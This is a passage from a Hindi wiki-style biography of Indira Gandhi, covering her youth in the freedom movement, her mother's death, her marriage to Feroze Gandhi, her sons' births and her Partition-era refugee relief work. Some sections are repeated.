राजनेता और जनसाधारण, दोनों ही आज़ादी के आन्दोलनों में बराबर के भागीदार थे। नन्ही इंदिरा के दिल पर इन सभी घटनाओं का अमिट प्रभाव पड़ा और 13 वर्ष की अल्पायु में ही उन्होंने 'वानर सेना' का गठन कर अपने इरादों को स्पष्ट कर दिया। इस प्रकार इंदिरा का बचपन विषय परिस्थितियों से चारित्रिक गुणों को प्राप्त कर रहा था। भविष्य़ में इंदु ने जो फ़ौलादी व्यक्तित्व प्राप्त किया था, वह प्रतिकूल परिस्थितियों से ही निर्मित हुआ था। इंदु ने अपने किशोरवय में स्वाधीनता संग्राम में विभिन्न प्रकार से सक्रिय सहयोग भी प्रदान किया था। उन्होंने बच्चों के सहयोग से वानर सेना का निर्माण भी किया था जिसका नेतृत्व वह स्वयं करती थीं। वानर सेना के सदस्यों ने देश सेवा की शपथ भी ली थी स्वतंत्रता आंदोलन में इस वानर सेना ने आंदोलनकारियों की कई प्रकार से मदद की थी। क्रांतिकारियों तक महत्त्वपूर्ण सूचनाएँ भी इनके माध्यम से पहुँचाई जाती थीं। साथ ही सामान्य जनता के मध्य जरुरी संदेशों के पर्चे भी इनके द्वारा वितरित किए जाते थे। '''इंदिरा की इस वानर सेना का महत्त्व इस बात से समझा जा सकता है कि मात्र [[इलाहाबाद]] में इसके सदस्यों की संख्या पाँच हज़ार थी।''' एक बार इंदु ने अपने पिता से जेल में भेंट करने के दौरान आवश्यक लिखित दस्तावेजों का संप्रेषण भी किया था। इस प्रकार बालिका इंदिरा ने बचपन में ही स्वाधीनता के लिए संधर्ष करते हुए यह समझ लिया था। कि किसी भी राष्ट्र के लिए उसकी आज़ादी का कितना अधिक महत्त्व होता है।
 
====कमला नेहरु की बीमारी और निधन====
 
[[चित्र:Indira-Gandhi-Museum.jpg|thumb|250px|इंदिरा गाँधी संग्रहालय <br /> Indira Gandhi Museum]]
 
दरसल कुछ समय बाद ही इलाहाबाद में इंदिरा की माता कमला नेहरु का स्वास्थ्य काफ़ी ख़राब हो गया। वह बीमारी में अपनी पुत्री को याद करती थीं। पंडित नेहरु नहीं चाहते थे कि बीमार माता को उसकी पुत्री की शिक्षा के कारण ज़्यादा समय तक दूर रखा जाए। उधर अंग्रेज़ों को भी कमला नेहरु के अस्वस्थ होने की जानकारी थी। अंग्रेज़  चाहते थे कि यदि ऐसे समय में पंडित नेहरु को जेल भेजने का भय दिखाया जाए तो वह आज़ाद रहकर पत्नी का इलाज कराने के लिए उनकी हर शर्त मानने को मजबूर  हो जाएंगे। इस प्रकार वे पंडित नेहरु का मनोबल तोड़ने का प्रयास कर रहे थे। पंडित नेहरु जब अंग्रेज़ों की शर्तों के अनुसार चलने को तैयार न हुए तो उन्हें गिरफ़्तार करके जेल में डाल दिया गया। जब पंडित नेहरु ने गुरुदेव रवींद्रनाथ टैगौर के नाम शांति निकेतन में तार भेजा गुरुदेव ने वह तार इंदिरा को दिया जिसमें लिखा था। इंदिरा की माता काफ़ी अस्वस्थ हैं और मैं जेल में हूँ। इस कारण इंदिरा को माता की देखरेख के लिए अविलंब इलाहाबाद भेज दिया जाए। माता की अस्वस्थता का समाचार मिलने के बाद इंदिरा ने गुरुदेव से जाने की इच्छा प्रकट की।
 
=====जर्मनी में इलाज=====
 
इलाहाबाद पहुँचने पर इंदिरा ने अपनी माता की रुग्ण स्थिति देखी जो काफ़ी चिंतनीय थी। भारत में उस समय यक्ष्मा का माक़ूल इलाज नहीं था। उनका स्वास्थ्य तेजी से बिगड़ता जा रहा था। यह 1935 का समय था। तब डॉक्टर मदन अटल के साथ इंदिरा जी अपनी माता को चिकित्सा हेतु [[जर्मनी]] के लिए प्रस्थान कर गईं। पंडित नेहरू उस समय जेल में थे। चार माह बाद जब पंडित नेहरू जेल से रिहा हुए तो वह भी जर्मनी पहुँच गए। जर्मनी में कुछ समय तक कमला नेहरू का स्वास्थ्य ठीक रहा लेकिन यक्ष्मा ने फिर ज़ोर पकड़ लिया। इस समय तक विश्व में कहीं भी यक्ष्मा का इलाज नहीं था। हां, यह अवश्य था कि पहाड़ी स्थानों पर बने सेनिटोरियम में रखकर मरीज़ों की ज़िंदगी को कुछ समय के लिए बढ़ा दिया जाता था। लेकिन यह कमला नेहरू के रोग की प्रारंभिक स्थिति नहीं थी। यक्ष्मा अपनी प्रचंड स्थिति में पहुँच चुका था लेकिन पिता- पुत्री ने हार नहीं मानी।
 
 
 
पंडित नेहरू और इंदिरा कमलाजी को स्विट्जरलैंड ले गए। वहाँ उन्हें लगा कि कमला जी के स्वास्थ्य में सुधार हो रहा है। लेकिन जिस प्रकार बुझने वाले दीपक की लौ में अंतिम समय प्रकाश तीव्र हो जाता है, उसी प्रकार स्वास्थ्य सुधार का यह संकेत भी भ्रमपूर्ण था। राजरोग को अपनी बलि लेनी थी और फ़रवरी 1936 में कमला नेहरू का निधन हो गया। '''19 वर्षीया पुत्री इंदिरा के लिए यह भारी शोक के क्षण थे।''' माता की जुदाई का आघात सहन कर पाना इतना आसान नहीं था। उन पर माता की रुग्ण समय की स्मृतियाँ हावी थीं। पंडित नेहरू को भय था कि माता के निधन का दुख और एकांत में माता की यादों की पीड़ा कहीं इंदिरा को अवसाद का शिकार न बना दे। इंदिरा में अवसाद के आरंभिक लक्षण नज़र भी आने लगे थे। तब पंडित नेहरू ने यूरोप के कुछ दर्शनीय स्थलों पर अपनी पुत्री इंदिरा के साथ कुछ समय गुजारा ताकि बदले हुए परिवेश में वह अतीत की यादों से मुक्त रह सके। इसका माक़ूल असर भी हुआ। इंदिरा ने विधि के कर विधान को समझते हुए हालात से समझौता कर लिया।
 
 
 
==दाम्पत्य जीवन==
 
1942 में उनका विवाह फिरोज़ गाँधी से हुआ। उनके दो पुत्र हुए- [[राजीव गाँधी]] और संजय गाँधी। राजीव गाँधी भी भारत के प्रधानमंत्री रहे हैं।
 
[[चित्र:Jawahar-Lal-Nehru-Family.jpg|thumb|250px|[[नेहरू-गाँधी परिवार वृक्ष|नेहरू परिवार]]]]
 
 
 
प्रेम की भावना का उदय इंदिरा के हृदय में भी हुआ था। पारसी युवक फ़ीरोज़ गाँधी से इंदिरा का परिचय उस समय से था जब वह [[आनंद भवन]] में एक स्वतंत्रता सेनानी की तरह आते था। फ़ीरोज़ गाँधी ने कमला नेहरू को माता मान दिया था। जर्मनी में जब कमला नेहरू को चिकित्सा के लिए ले जाया गया तब फ़िरोज मित्रता का फर्ज पूरा करने के लिए जर्मनी पहुँच गए था। [[लंदन]] से भारत वापसी का प्रबंध भी फ़िरोज ने एक सैनिक जहाज़ के माध्यम से किया था दोनों की मित्रता इस हद तक परवान चढ़ी कि विवाह करने का निश्चय कर लिया। ऐसा माना जाता है कि कमला नेहरू जीवित होतीं तो इस शादी को आसानी के साथ स्वीकृति मिल सकती थी। कमला जी अपने पति को शादी के लिए विवश कर सकती थीं। लेकिन कमला नेहरू उनकी मदद करने के लिए दुनिया में नहीं थीं। इंदिरा जी चाहती थीं कि उस शादी को पिता का आशीर्वाद अवश्य प्राप्त हो लेकिन पंडित नेहरू को उस शादी के लिए मना पाना असंभव नहीं तो कठिन अवश्य था। '''वैसे फ़ीरोज़ गाँधी को ही इंदिरा से शादी करने का प्रस्ताव पंडित नेहरू के सामने रखना चाहिए था लेकिन फ़िरोज यह हिम्मत नहीं कर पाए।''' उसने यह दायित्व इंदिरा को ही सौंप दिया। इंदिरा ने फ़ीरोज़ गाँधी को शादी का वचन दे दिया था।
 
 
 
'''इंदिरा ने ही पिता के सामने यह बात रखी कि फ़िरोज से शादी करना चाहती हैं। यह सुनकर पंडित नेहरू अवाक् रह गए।''' वह सोच भी नहीं सकते थे कि उनकी बेटी इंदिरा फ़ीरोज़ गाँधी से शादी करना चाहती है जो उनके समाज-बिरादरी का नहीं है। यद्यपि पंडित नेहरू काफ़ी उदार हृदय के थे लेकिन उनका सामान्यत: नज़रिया यह था कि शादी सजातीय परिवार में ही होनी चाहिए। स्वयं उन्होंने भी अपने पिता पंडित मोतीलाल नेहरू का आदेश माना था। उन दिनों स्वयं पंडित नेहरू पुत्री के लिए योग्य सजातीय वर की तलाश कर रहे थे ताकि कन्यादान का उत्तरदायित्व पूर्ण कर सकें। पंडित नेहरू ने पुत्री से स्पष्ट कह दिया कि शादी को मंज़ूरी नहीं दी जा सकती। उन्होंने कई प्रकार से इंदिरा को समझाने का प्रयास किया लेकिन इंदिरा की ज़िद क़ायम रही। तब निरुपाय नेहरू जी ने कहा कि यदि महात्मा गाँधी उस शादी के लिए सहमत हो जाएँ तो उन्हें कोई आपत्ति नहीं होगी। लेकिन [[गाँधी जी]] से सहमति प्राप्त करना इंदिरा का ही उत्तरदायित्व था।
 
====महात्मा गाँधी से स्वीकृति====
 
इंदिरा को लगा कि महात्मा गाँधी को मनाना उनके लिए कठिन नहीं होगा। लेकिन इंदिरा की सोच के विपरीत महात्मा गाँधी ने उस शादी के लिए इंकार कर दिया। उन्होंने शादी का विरोध किया। वह भारतीय वर्ण व्यवस्था के पक्षधर थे और चाहते थे कि विवाह संबंध समाज-बिरादरी में ही होना चाहिए। यह अलग बात थी कि वह सभी समाजों के साथ समानता की बात करते थे और उन्होंने अछूतों के उद्धार के लिए बहुत कुछ किया था। महात्मा गाँधी का मानना था कि यह विवाह आगे जाकर सफल नहीं होगा क्योंकि वह कई मायनों में असमानता रखता था। उन्होंने इंदिरा जी को समझाया कि जो विवाह संबंध धर्म, जाति, आयु और पारिवारिक स्तर में असमान हों, वे सफल नहीं होते। यदि एक-दो अंतर हों तो भी बात मानी जा सकती थी। महात्मा गाँधी की अंतर्दृष्टि कह रही थी कि इंदिरा और फ़िरोज का विवाह असफल साबित होगा लेकिन इंदिरा कुछ भी समझने को तैयार नहीं थीं। तब महात्मा गाँधी ने नेहरू को विवाह के लिए स्वीकृति प्रदान कर दी। वह हर प्रकार से इंदिरा को समझाकर अपना दायित्व पूर्ण कर चुके थे। महात्मा गाँधी की ही सलाह पर इंदिरा का विवाह बिना किसी आडंबर के अत्यंत सादगी के साथ संपन्न हुआ। इसमें केवल इलाहाबाद के ही शुभचिंतक और क़रीबी व्यक्ति सम्मिलित हुए थे। यह विवाह [[26 मार्च]], [[1942]] को हुआ। '''उस समय इंदिरा जी की उम्र 24 वर्ष, 4 माह और 7 दिन थी।'''
 
 
 
उस समय किसी हिन्दू कश्मीरी युवती का 24 वर्ष की आयु के बाद भी अविवाहित रहना परंपरा के अनुसार सही नहीं माना जाता था। यहाँ पंडित नेहरू को असफल पिता माना जाएगा। उन्हें इंदिरा का विवाह 20 वर्ष की आयु तक कर देना चाहिए था। लेकिन पंडित नेहरू देशसेवा के कार्य में जुटे हुए थे। फिर पत्नी कमला की बीमारी के कारण भी वह समय पर पुत्री के विवाह का निर्णय नहीं कर पाए थे। लेकिन पंडित नेहरू का यह भी दायित्व था कि वह बीमार पत्नी के सामने ही एकमात्र पुत्री की शादी कर देते। लेकिन होनी को टाला नहीं जा सकता। इंदिरा की शादी हो गई। शादी के बाद दोनों कश्मीर के लिए रवाना हो गए। कश्मीर में कुछ समय गुजारने के बाद वे वापस इलाहाबाद लौटे। इंदिरा पुनः स्वाधीनता संग्राम के अपने कार्य में जुट गईं। फ़ीरोज़ गाँधी ने भी उनका पूरी तरह साथ दिया। [[10 दिसंबर]], [[1942]] को उन्हें एक सभा को संबोधित करना था। निषेधाज्ञा लगी होने के कारण दोनों को गिरफ़्तार करके जेल में डाल दिया गया। 
 
====राजीव गाँधी का जन्म====
 
{{मुख्य|राजीव गाँधी}}
 
नैनी जेल में इंदिरा को 9 माह तक रखा गया। इस दौरान उनका स्वास्थ्य बुरी तरह प्रभावित रहा। चिकित्सकों ने पौष्टिक भोजन और दवा के संबंध में उन्हें निर्देश भी दिए। लेकिन वह अंग्रेज़ों के सामने गिड़गिड़ाना नहीं चाहती थीं। उन्होंने किसी भी प्रकार का कोई विरोध प्रदर्शन भी नहीं किया। जेल के अधिकारियों का व्यवहार भी उनके साथ सदाशयतापूर्ण नहीं था। लेकिन उन्होंने बेहद धैर्य के साथ उस कठिन समय को पार किया। [[13 मई]], [[1943]] को इंदिरा जी को जेल से रिहा किया गया और वह आनंद भवन पहुँचीं। वहाँ गहन इलाज के बाद उनका स्वास्थ्य सुधर पाया। उधर फ़ीरोज़ गाँधी को भी जेल से मुक्त कर दिया गया था। फ़िरोज ने कुछ समय आनंद भवन में गुजारा। फिर इंदिरा अपनी बुआ के पास [[मुंबई]] चली गईं जहाँ [[20 अगस्त]], [[1944]] को उन्होंने एक पुत्र को जन्म दिया। यह पुत्र राजीव थे। इसके बाद इंदिरा जी अपने पुत्र राजीव के साथ इलाहाबाद लौट आईं।
 
[[चित्र:Harry-S-Truman-And-Indira-Gandhi.jpg|thumb|250px|left|हारि ट्रूमन, [[जवाहरलाल नेहरू|पंडित जवाहरलाल नेहरू]] और इंदिरा गाँधी <br /> Harry S Truman, Jawaharlal Nehru And Indira Gandhi]]
 
 
 
====स्वाभिमानी व्यक्ति====
 
'''फ़ीरोज़ गाँधी बेहद स्वाभिमानी व्यक्ति थे। घर दामाद के रूप में आनंद भवन में रहना उन्हें स्वीकार नहीं था।''' वह चाहते थे कि उनकी अपनी व्यक्तिगत ज़िंदगी हो और वह नेहरू परिवार का दामाद होने के कारण न जाने जाएँ। यही कारण है कि फ़ीरोज़ गाँधी ने [[लखनऊ]] से प्रकाशित होने वाले समाचार पत्र 'नेशनल हेराल्ड' में मैनेजिंग डायरेक्टर जैसा महत्त्वपूर्ण पद संभाल लिया। इंदिरा गाँधी ने पत्नी धर्म निभाते हुए फ़िरोज का साथ दिया और पुत्र राजीव के साथ लखनऊ पहुँच गईं। इधर भारत में आज़ादी की सुगबुगाहट होने लगी थी। द्वितीय विश्व युद्ध की समाप्ति के बाद अंतरिम सरकार के गठन की प्रस्तावना तैयार होने लगी थी। अंतरिम सरकार के गठन की ज़िम्मेदारी पंडित नेहरु पर ही थी। [[वाइसराय]] [[लॉर्ड माउंटबेटन]] से विभिन्न मुद्दों पर चर्चा जारी थी ताकि सत्ता हस्तांतरण का कार्य सुगमता से संभव हो सके। इसीलिए नेहरूजी को इलाहाबाद छोड़कर नियमित रूप से [[दिल्ली]] में रहने की आवश्यकता थी। ऐसी स्थिति में इंदिरा गाँधी काफ़ी उलझन में थीं। उन्हें एक तरफ अपने एकाकी विधुर पिता का ध्यान रखना था तो दूसरी तरह पति के लिए भी उनकी कुछ ज़िम्मेदारी थी। इस कारण उन्हें दिल्ली और लखनऊ के मध्य कई-कई फेरे लगाने पड़ते थे। पंडित नेहरू ने इंदिरा गाँधी के लिए दिल्ली में अलग निवास की व्यवस्था कर दी। उन्हें दूसरी संतान के रूप में भी पुत्र रत्न की प्राप्ति हुई। [[15 सितंबर]], [[1946]] को संजय गाँधी का जन्म हुआ।
 
 
 
<blockquote>इंदिरा गाँधी की ज़िम्मेदारियाँ अब काफ़ी बढ़ गई थीं। उन्हें मां के रूप में जहाँ दो बच्चों की परवरिश करनी थी और पति के प्रति उत्तरदायित्वों का निर्वाहन करना था, वहीं पुत्री के रूप में पिता की मुश्किलों में भी साथ देना था। इसके अलावा देशसेवा की जो भावना उनमें विद्यमान थी, उसे भी वह नहीं त्याग सकती थीं। इंदिरा जी के लिए यह समय अग्नि परीक्षा का था।</blockquote>
 
====फ़ीरोज़ इंदिरा संबंध====
 
यह स्वाभाविक था कि लखनऊ से ज़्यादा इंदिरा की आवश्यकता उस समय दिल्ली में पिता के पास रहने की थी। दोनों पुत्र राजीव और संजय भी त्रिमूर्ति भवन में अपने नाना के पास ही आ गए थे। फ़ीरोज़ गाँधी कुछ अंतराल पर बच्चों से भेंट करने के लिए आते रहे। लेकिन फ़िरोज के हृदय में इस बात की चुभन अवश्य थी कि इंदिरा को पत्नी के रूप में जिन कर्तव्यों की पूर्ति करनी चाहिए थी, वे बेटी के कर्तव्यों के सम्मुख दब गए हैं। इधर इंदिरा गाँधी ने व्यस्तता बढ़ जाने के बाद बच्चों की देखरेख के लिए ''अन्ना'' नामक एक अनुभवी महिला को बतौर गवर्नेस रख लिया। फ़ीरोज़ गाँधी के साथ इंदिरा गाँधी के संबंध पुनः सामान्य बने। '''1952 के आम चुनाव में फ़िरोज को कांग्रेस का टिकट दिया गया और वह लोकसभा के लिए निर्वाचित भी हो गए।''' सांसद बनने के बाद कुछ समय तक वह त्रिमूर्ति भवन में ही रहे। लेकिन सांसद आवास मिलने के बाद फ़िरोज ने त्रिमूर्ति भवन छोड़ दिया। परंतु इंदिरा गाँधी चाहती थीं, फ़िरोज त्रिमूर्ति भवन में ही रहें। दोनों के दाम्पत्य जीवन में यहां से अलगाव आरंभ हो गया। '''इंदिरा गाँधी काफ़ी महत्त्वाकांक्षी थीं। उनके पास भी भविष्य के कुछ सपने थे।'''
 
 
 
फ़ीरोज़ गाँधी का अलग रहना उचित था अथवा नहीं- यह बहस का विषय है लेकिन वह पत्नी और बच्चों से दूर अवश्य होते चले गए। फ़ीरोज़ गाँधी के हृदय में पत्नी इंदिरा गाँधी से ज़्यादा अपने ससुर पंडित नेहरू के प्रति नाराजगी और कड़वाहट थी। इसका प्रत्यक्ष प्रमाण उस समय देखने को प्राप्त हुआ जब फ़ीरोज़ गाँधी ने संसद में ही नेहरूजी की आलोचना आरंभ कर दी। फ़ीरोज़ गाँधी का यह गैरज़िम्मेदाराना व्यवहार रिश्तों की डोर को कमज़ोर करने वाला साबित हो रहा था।
 
====बाल सहयोग की स्थापना====
 
लेकिन इंदिरा गाँधी ने सब कुछ भूलते हुए भी अपनी पारिवारिक ज़िंदगी को बचाए रखने का प्रयास किया। जब उन्होंने ''बाल सहयोग'' नामक संस्था की स्थापना की तो फ़ीरोज़ गाँधी से भी इसमें सहयोग प्राप्त किया। इस संस्था के माध्यम से बच्चों के उत्पादन को सहकारिता के आधार पर विक्रय किया जाता था। और अर्जित लाभ सब बच्चों में बांट दिया जाता था। बच्चों को प्रशिक्षण देने के लिए विशेषज्ञों की सहायता भी ली गई थी। इंदिरा गाँधीं ने ''इंडियन काउंसिल ऑफ चाइल्ड वेलफेयर'' ' इंटरनेशनल काउंसिल ऑफ चाइल्ड वेलफेयर' तथा 'कमला नेहरू स्मृति अस्पताल' जैसी संस्थाओं में विभिन्न दायित्व स्वीकार करते हुए परोपकारी कार्यों को अंजाम दिया।
 
 
 
इन सबके साथ इंदिरा गाँधी अपने पिता पंडित जवाहरलाल नेहरू के राजनीतिक कार्यों में भी उनकी सहयोगिनी बनी रहीं। 1952 में इंदिरा गाँधी को 'मदर्स अवार्ड' से सम्मानित किया गया। उनकी सामाजिक सेवाओं को अंतर्राष्ट्रीय स्तर पर सराहा गया। यह वह समय था जब इंदिरा गाँधी के दोनों पुत्र- राजीव और संजय देहरादून के प्रसिद्ध स्कूल 'दून' में शिक्षा प्राप्त कर रहे थे। मात्र छुट्टियों में ही उन्हें माता और नाना का प्रेम प्राप्त होता था।
 
====फ़ीरोज़ गाँधी का निधन====
 
फ़ीरोज़ गाँधी अधिक मदिरा सेवन के कारण अस्वस्थ रहने लगे थे। उन्हें हृदय रोग ने घेर लिया था। फिर 1960 में तीसरे हृदयाघात के कारण उनकी मृत्यु हो गई। '''उस समय इंदिरा गाँधी की उम्र 43 वर्ष थी।''' अंतिम समय में वह अपने पति के निकट मौजूद थीं। इस प्रकार उनके वैवाहिक जीवन का असामयिक अंत हो गया। यह इंदिरा जी के लिए शोक का कठिन समय था। पंडित नेहरू ने इस समय अपनी पुत्री को धैर्य बंधाया और पूरा ख्याल रखा।
 
  
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कांग्रेस अध्यक्ष के रूप में श्रीमती इंदिरा गांधी की अपने पिता प्रधानमंत्री [[पं. जवाहरलाल नेहरू]] से टक्कर भी हुई। प्रश्न [[केरल]] की बिगड़ती हुई राजनीतिक स्थिति का था। इंदिरा जी की राय थी कि [[केरल]] की इस स्थिति का सुधारने के लिए वहाँ राष्ट्रपति शासन लागू कर देना चाहिए। सरकार ने ऐसा कदम पहले कभी उठाया नहीं था, इसलिए नेहरू जी द्विविधा में थे। पर परिस्थिति को जाँच परखकर अंतत: उन्हें इंदिरा जी की बात माननी पड़ी और केरल में देश का सबसे पहला राष्ट्रपति शासन लागू हुआ। कुछ ऐसी ही हालत [[उड़ीसा]] में भी थी। वे दिन दूर नहीं थे जब [[उड़ीसा]] के शासन से [[कांग्रेस]] को निकाल बाहर किया जाता और वहाँ हाय तोबा मच जाती। [[उड़ीसा]] जाकर वहाँ की परिस्थिति का अध्ययन करके इंदिरा जी ने वहाँ के नेताओं को सलाह दी कि कांग्रेस को तत्काल वहाँ की गणतंत्र परिषद् के साथ मिली जुली सरकार बना लेनी चाहिए। यह समयोचित परामर्श भी मान लिया गया और [[उड़ीसा]] का आसन्न संकट टल गया। मात्र ये दो घटनाएँ उनकी सूझबुझ और त्वरित-निर्णय-बुद्धि का परिचय देने के लिये आशा है, पर्याप्त होंगी।
 
==देश का विभाजन==
 
==देश का विभाजन==
उस समय देश विभाजन के किनारे पर था। [[मुहम्मद अली जिन्ना|जिन्ना]] के नेतृत्व में मुस्लिम लीग ने पाकिस्तान की माँग की थी और अंग्रेज़ भी जिन्ना की माँग को स्पष्ट हवा दे रहे थे लेकिन गाँधीजी विभाजन के पक्ष में नहीं थे। लॉर्ड माउंटबेटन कूटनीति का खेल खेलने में लगे हुए थे। वह एक ओर महात्मा गाँधी को आश्वस्त कर रहे थे कि देश का विभाजन नहीं होगा तो दूसरी ओर पंडित नेहरू से कह रहे थे कि दो राष्ट्रों के विभाजन के फॉर्मूले पर ही आज़ादी प्रदान की जाएगी। '''पंडित नेहरू स्थिति की गंभीरता को समझ रहे थे जबकि महात्मा गाँधी इस भ्रम में थे कि अंग्रेज़ वायसराय विभाजन नहीं चाहता है।''' जिन्ना की अनुचित माँग के कारण हिन्दू और मुसलमानों में वैमनस्य पसर गया था। महत्त्वाकांक्षी जिन्ना पाकिस्तान का प्रधानमंत्री बनने के लिए बहुत लालायित थे। महात्मा गाँधी ने जिन्ना को संपूर्ण और अखंड भारत का प्रधानमंत्री बनाने का आश्वासन दिया। लेकिन जिन्ना यह जानते थे कि पंडित नेहरू के कारण यह संभव नहीं है। हिन्दू किसी भी मुस्लिम को प्रधानमंत्री के रूप में स्वीकार नहीं करेंगे। '''ऐसे में देश सांप्रदायिक दंगों की आग में झुलसने लगा था।''' महात्मा गाँधी किसी तरह दंगों की आग शांत करना चाहते थे। दिल्ली में भी कई स्थानों पर इंसानियत शर्मसार हो रही थी। तब महात्मा गाँधी ने इंदिरा जी को यह मुहिम सौंपी कि वह दंगाग्रस्त क्षेत्रों में जाकर लोगों को समझाएँ और अमन लौटाने में मदद करें।  
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[[चित्र:Indira-Gandhi-2.jpg|thumb|250px|left|इंदिरा गाँधी स्टाम्प]]
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उस समय देश विभाजन के किनारे पर था। [[मुहम्मद अली जिन्ना|जिन्ना]] के नेतृत्व में मुस्लिम लीग ने पाकिस्तान की माँग की थी और अंग्रेज़ भी जिन्ना की माँग को स्पष्ट हवा दे रहे थे लेकिन गाँधीजी विभाजन के पक्ष में नहीं थे। लॉर्ड माउंटबेटन कूटनीति का खेल खेलने में लगे हुए थे। वह एक ओर महात्मा गाँधी को आश्वस्त कर रहे थे कि देश का विभाजन नहीं होगा तो दूसरी ओर पंडित नेहरू से कह रहे थे कि दो राष्ट्रों के विभाजन के फॉर्मूले पर ही आज़ादी प्रदान की जाएगी। पंडित नेहरू स्थिति की गंभीरता को समझ रहे थे जबकि महात्मा गाँधी इस भ्रम में थे कि अंग्रेज़ वायसराय विभाजन नहीं चाहता है। जिन्ना की अनुचित माँग के कारण हिन्दू और मुसलमानों में वैमनस्य पसर गया था। महत्त्वाकांक्षी जिन्ना पाकिस्तान का प्रधानमंत्री बनने के लिए बहुत लालायित थे। महात्मा गाँधी ने जिन्ना को संपूर्ण और अखंड भारत का प्रधानमंत्री बनाने का आश्वासन दिया। लेकिन जिन्ना यह जानते थे कि पंडित नेहरू के कारण यह संभव नहीं है। हिन्दू किसी भी मुस्लिम को प्रधानमंत्री के रूप में स्वीकार नहीं करेंगे। ऐसे में देश सांप्रदायिक दंगों की आग में झुलसने लगा था। महात्मा गाँधी किसी तरह दंगों की आग शांत करना चाहते थे। दिल्ली में भी कई स्थानों पर इंसानियत शर्मसार हो रही थी। तब महात्मा गाँधी ने इंदिरा जी को यह मुहिम सौंपी कि वह दंगाग्रस्त क्षेत्रों में जाकर लोगों को समझाएँ और अमन लौटाने में मदद करें।  
 
====दंगाग्रस्त क्षेत्रों का दौरा====
 
====दंगाग्रस्त क्षेत्रों का दौरा====
इंदिरा गाँधी ने फिर महात्मा गाँधी के आदेश को शिरोधार्य किया और दंगाग्रस्त क्षेत्रों में दोनों समुदायों के लोगों को समझाने का प्रयास करने लगीं। वस्तुतः यह अत्यंत जोखिम कार्य था। पंडित नेहरू की बेटी होने के कारण अतिवादी उन्हें नुक़सान पहुँचा सकते थे परंतु निर्भिक इंदिरा ने दंगों की आग शांत करने के लिए पुरज़ोर प्रयास किए। लेकिन 15 अगस्त के बाद सांप्रदायिकता अपने चरम पर पहुँच गई। दंगों में दोनों समुदायों के अनगिनत लोग मौत के घाट उतार दिए गए। [[पाकिस्तान]] से लाखों शरणार्थी दिल्ली आ गए थे। शरणार्थियों के पुनर्वास का सवाल भी उत्पन्न हो गया था। उन भूखे-प्यासे घर से भागे लोगों के लिए प्राथमिक आवश्यकताएँ भी जरूरी थीं। ऐसी स्थिति में दिल्ली के कई स्थानों पर शरणार्थी एवं दंगा पीड़ित शिविर लगाए गए थे। '''पंडित नेहरू ने 17, पार्क रोड के अपने बंगले पर भी शरणार्थी शिविर लगाए।''' शरणार्थियों के जीवन की बुनियादी सुविधाओं का ध्यान रखा जा रहा था। उस समय महात्मा गाँधी पश्चिम बंगाल के नोआख़ाली ज़िले में जहाँ मुस्लिमों की कई बस्तियों को जला दिया गया था। पाकिस्तान से आने वाली ट्रेनों में हज़ारों हिन्दुओं की लाशें भी आ रही थीं। इस कारण हिन्दू आक्रोशित होकर मुसलमानों पर हमला कर रहे थे।  
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इंदिरा गाँधी ने फिर [[महात्मा गाँधी]] के आदेश को शिरोधार्य किया और दंगाग्रस्त क्षेत्रों में दोनों समुदायों के लोगों को समझाने का प्रयास करने लगीं। वस्तुतः यह अत्यंत जोखिम कार्य था। पंडित नेहरू की बेटी होने के कारण अतिवादी उन्हें नुक़सान पहुँचा सकते थे परंतु निर्भिक इंदिरा ने दंगों की आग शांत करने के लिए पुरज़ोर प्रयास किए। लेकिन [[15 अगस्त]] के बाद सांप्रदायिकता अपने चरम पर पहुँच गई। दंगों में दोनों समुदायों के अनगिनत लोग मौत के घाट उतार दिए गए। [[पाकिस्तान]] से लाखों शरणार्थी [[दिल्ली]] आ गए थे। शरणार्थियों के पुनर्वास का सवाल भी उत्पन्न हो गया था। उन भूखे-प्यासे घर से भागे लोगों के लिए प्राथमिक आवश्यकताएँ भी ज़रूरी थीं। ऐसी स्थिति में दिल्ली के कई स्थानों पर शरणार्थी एवं दंगा पीड़ित शिविर लगाए गए थे। पंडित नेहरू ने 17, पार्क रोड के अपने बंगले पर भी शरणार्थी शिविर लगाए। शरणार्थियों के जीवन की बुनियादी सुविधाओं का ध्यान रखा जा रहा था। उस समय महात्मा गाँधी [[पश्चिम बंगाल]] के नोआख़ाली ज़िले में जहाँ मुस्लिमों की कई बस्तियों को जला दिया गया था। पाकिस्तान से आने वाली ट्रेनों में हज़ारों हिन्दुओं की लाशें भी आ रही थीं। इस कारण हिन्दू आक्रोशित होकर मुसलमानों पर हमला कर रहे थे।  
 
====घर में शरणार्थी शिविर====
 
====घर में शरणार्थी शिविर====
पंडित जवाहरलाल नेहरू के बंगले में जो शरणार्थी शिविर लगाए गए थे, उनकी देखरेख इंदिरा गाँधी ही कर रही थीं। सभी कमरे ख़ाली करके शरणार्थियों को उनमें ठहरा दिया गया था और प्रांगण आदि में भी तम्बू इत्यादि लगा दिए थे ताकि अधिकाधिक शरणार्थियों को वहाँ रखा जा सके। यहाँ की सभी व्यवस्था इंदिरा गाँधी द्वारा देखी जा रही थी। अंतरिम सरकार के गठन के साथ पंडित नेहरू [[कार्यवाहक प्रधानमंत्री]] बना दिए थे। [[26 जनवरी]], [[1950]] को भारत का संविधान भी लागू हो गया। भारत एक गणतांत्रिक देश बना और प्रधानमंत्री नेहरू की सक्रियता काफ़ी अधिक बढ़ गई। इस समय नेहरूजी का निवास त्रिमूर्ति भवन ही था। समय-समय पर विभिन्न देशों के आगंतुक त्रिमूर्ति भवन में ही नेहरूजी के पास आते थे। उनके स्वागत के सभी इंतज़ाम इंदिरा गाँधी द्वारा किए जाते थे। साथ ही साथ उम्रदराज़़ हो रहे पिता की आवश्यकताओं को भी इंदिरा देखती थीं।
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[[जवाहरलाल नेहरू|पंडित जवाहरलाल नेहरू]] के बंगले में जो शरणार्थी शिविर लगाए गए थे, उनकी देखरेख इंदिरा गाँधी ही कर रही थीं। सभी कमरे ख़ाली करके शरणार्थियों को उनमें ठहरा दिया गया था और प्रांगण आदि में भी तम्बू इत्यादि लगा दिए थे ताकि अधिकाधिक शरणार्थियों को वहाँ रखा जा सके। यहाँ की सभी व्यवस्था इंदिरा गाँधी द्वारा देखी जा रही थी। अंतरिम सरकार के गठन के साथ पंडित नेहरू [[कार्यवाहक प्रधानमंत्री]] बना दिए थे। [[26 जनवरी]], [[1950]] को [[भारत का संविधान]] भी लागू हो गया। भारत एक गणतांत्रिक देश बना और प्रधानमंत्री नेहरू की सक्रियता काफ़ी अधिक बढ़ गई। इस समय नेहरूजी का निवास त्रिमूर्ति भवन ही था। समय-समय पर विभिन्न देशों के आगंतुक त्रिमूर्ति भवन में ही नेहरूजी के पास आते थे। उनके स्वागत के सभी 